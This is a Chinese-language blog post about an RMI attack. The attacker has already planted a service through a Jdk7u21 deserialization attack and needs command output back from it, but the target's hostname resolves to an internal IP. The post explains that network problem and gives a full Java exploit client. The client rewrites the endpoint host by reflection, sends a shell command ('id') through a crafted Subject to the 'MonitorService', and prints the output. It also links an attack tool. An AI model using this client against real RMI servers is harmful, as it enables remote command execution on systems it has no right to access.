java反序列之Jdk7u21回显 ~ 解决网络问题

之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。

分析

在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。
http://www.yulegeyu.com/2018/12/22/RMI-ReferenceWrapper-Stub-With-Hostname/

这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是本机的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。

从nmap的扫描结果也能看出这个问题。
虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。

sun.rmi.registry.RegistryImpl_Stub#lookup
接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。

最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
public class RMIClient extends RemoteObject {

private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}

this.ref.invoke(var2);

Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote)var4.readObject();

Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);

f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);

HashMap rets = (HashMap) f.get(conn);

Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();

f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (IOException | ClassNotFoundException | ClassCastException var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}

return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}

public static void main(String[] args) throws Exception {

String command = "id";
String ip = "ip";
Registry registry = LocateRegistry.getRegistry(ip, port);

// for(String x:registry.list()){
// System.out.println(x);
// }

Subject subject = new Subject();
Field f = subject.getClass().getDeclaredField("principals");
f.setAccessible(true);
Set set = new HashSet();
UnixPrincipal unixPrincipal = new UnixPrincipal(command);
set.add(unixPrincipal);
f.set(subject, set);

f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
f.setAccessible(true);

RMIClient r = new RMIClient();
r.ref = (RemoteRef) f.get(registry);
r.ip = ip;

System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject));

}
}

使用原生lookup时,建立连接失败导致无法回显命令结果。

使用修改后的lookup方法成功回显。

工具

https://github.com/A-D-Team/attackRmi